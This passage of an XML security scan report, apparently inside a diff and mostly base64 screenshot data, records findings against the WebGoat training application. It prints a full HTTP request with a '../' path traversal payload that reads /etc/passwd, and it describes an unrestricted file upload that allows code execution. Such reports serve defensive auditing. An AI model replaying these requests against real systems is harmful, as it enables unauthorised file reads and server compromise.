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</data>\n</screenshot>\n<code>The
+        following HTTP request was used to retrieve the contents of the /etc/passwd
+        file:\nPOST /WebGoat/attack?Screen=306871788&amp;menu=200 HTTP/1.1\nHost:
+        targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101
+        Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\nCookie:
+        JSESSIONID=7AFA29BB6A5D3E1908F035D1B17BB643\nContent-Type: application/x-www-form-urlencoded\nContent-Length:
+        59\n\nFile=../../../../../../../../../etc/passwd&amp;SUBMIT=View+File\n\n\nThe
+        response included the contents of the requested file.</code>\n</appendix>\n</flaw>\n</manualflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"25\" categoryname=\"Insufficient Input Validation\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Weaknesses in this category are related to an absent or incorrect protection
+        mechanism that fails to properly validate input that can affect the control
+        flow or data flow of a program.\"/>\n</desc>\n<recommendations>\n<para text=\"Validate
+        input from untrusted sources before it is used. The untrusted data sources
+        may include HTTP requests, file systems, databases, and any external systems
+        that provide data to the application. In the case of HTTP requests, validate
+        all parts of the request, including headers, form fields, cookies, and URL
+        components that are used to transfer information from the browser to the server
+        side application.\"/>\n<para text=\"Duplicate any client-side checks on the
+        server side. This should be simple to implement in terms of time and difficulty,
+        and will greatly reduce the likelihood of insecure parameter values being
+        used in the application.\"/>\n</recommendations>\n<cwe cweid=\"434\" cwename=\"Unrestricted
+        Upload of File with Dangerous Type\" pcirelated=\"false\" sans=\"864\">\n<description>\n<text
+        text=\"The software allows the attacker to upload or transfer files of dangerous
+        types that can be automatically processed within the product's environment.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Unrestricted Upload of File with Dangerous Type\"
+        count=\"1\" issueid=\"270\" module=\"manual_analysis\" type=\"\" description=\"It
+        was possible to use the image upload functionality to upload arbitrary content
+        to the web server.\" note=\"\" cweid=\"434\" remediationeffort=\"3\" exploitLevel=\"2\"
+        categoryid=\"25\" pcirelated=\"false\" date_first_occurrence=\"2012-02-29
+        16:13:33 UTC\" remediation_status=\"New\" cia_impact=\"ppp\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=1146227108&amp;menu=1600\"
+        cvss=\"9\" capecid=\"10\" exploitdifficulty=\"1\" inputvector=\"myfile\">\n<exploit_desc>By
+        sending the HTTP upload request an attacker can provide arbitrary content
+        within the POST body and an arbitrary filename. The attacker can then access
+        the uploaded file with a web-browser causing the uploaded file to be executed.\n</exploit_desc><severity_desc>If
+        an attacker is able to upload arbitrary content to a web accessible directory,
+        the potential exists for them to upload executable content with a first request
+        and then invoke it with a second request. \nIf successful, command execution
+        on the host operating system as the tomcat web server user would be possible.\nStatic
+        content could be uploaded to the server and accessed by anonymous Internet
+        users. This would allow the application to serve as an illicit fileshare.</severity_desc>\n<remediation_desc>The
+        provided filename should not be used in construction of the stored filename
+        without strict data validation occurring. Ideally, the user-provided filename
+        should be ignored and the stored filename constructed entirely from server-side,
+        trusted data. For example, the stored filename can simply be a GUID that is
+        an index to meta-data in the database. </remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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